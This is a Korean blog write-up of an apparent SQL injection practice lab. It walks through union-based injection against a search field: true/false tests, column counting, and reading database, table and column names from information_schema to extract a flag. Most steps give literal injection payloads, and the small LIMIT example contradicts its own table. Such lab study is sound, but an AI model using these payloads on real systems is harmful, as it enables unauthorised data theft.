SQL injection 2 풀이

황인환·2024년 6월 25일

검색

  • True False확인
  • 부분검색가능 확인 -> SQL문 유추
True(normaltic검색)
False(nor검색(부분검색))
  • 예상 SQL문
    -> where '' like '%_%' 아님
    -> where '' = '' 유추

SQL injection 가능한지 판단

  • ' and '1' = '1 검색
    -> True(1=1)와 False(1=2)구분되어야함
    -> True(1=1) 값을 넣었지만 False나옴
    -> 불가능
True (normaltic'and '1' = '1 검색)
False (normaltic'and '1' = '2 검색)

SQL injection을 위한 Column숫자 파악

  • ' order by#
    -> order by 1# -> order by 2# -> order by 3# ....
    by뒤 숫자를 늘려 결과가 도출되지 않을때까지 시도
    -> order by는 마지막에 와야함으로 and 1=1넣으면 order by가 생략됨
order by 결과도출
order by 결과도출 x
  • ' union select and 1=1
    -> union select 1 and 1=1 -> union select 1,2 and 1=1
    1 - > 1,2 -> 1,2,3 union select 뒤에 숫자를 늘려줌
    결과가 나올때까지 시도
union select 결과도출
union select 결과도출 x

도출된 결과중 컬럼 확인

  • union select 1, 2, 3, 4 입력
    -> 1, 2, 3, 4 중 어떤 것이 어디에 화면에 도출되는지 확인
  • 출력 화면 자체가 출력 행 제한이 있다면 limit활용
    -> limit 몇번째 행부터 출력, 몇개 출력
    ex)
    |이름|과일|
    |철수|사과|
    |영희|포도|
    -> limit 0,1 -> 1번째행부터 1개 출력 -> 철수 포도
    -> limit 1,1 -> 2번째행부터 1개 출력 -> 영희 딸기
    -> limit 0,2 -> 1번째행부터 2개 출력 -> 철수 포도 영희 딸기
Column 출력 확인

Database 이름 도출

- database()입력 in union select
-> normaltic' union select 1, 2, 3, 4, 5, database()# 검색

Database 이름 도출

Table 이름 도출

  • union select table_name from information_schema.tables where table_schema='DB이름'
    -> normaltic' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1,1# 검색
    -> limit 1,1 -> limit 2,1 -> limit 3,1 ... 결과가 안나올때까지
Table 이름 도출

Column 이름 도출

  • union select column_name from information_schema.columns where table_schema='DB이름' 검색
    -> normaltic' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_schema='sqli_5' # limit 1,1 검색
    -> limit 1,1 -> limit 2,1 -> limit 3,1 ... 결과가 안나올때까지
Column 이름 도출

Extract

  • select 도출된 Column이름 from 도출된 Table이름 검색
    ->normaltic' union select 1,2,3,4,5,flag from secret # 검색
    -> limit 1,1 -> limit 2,1 -> limit 3,1 ... 결과가 안나올때까지
Extract

0개의 댓글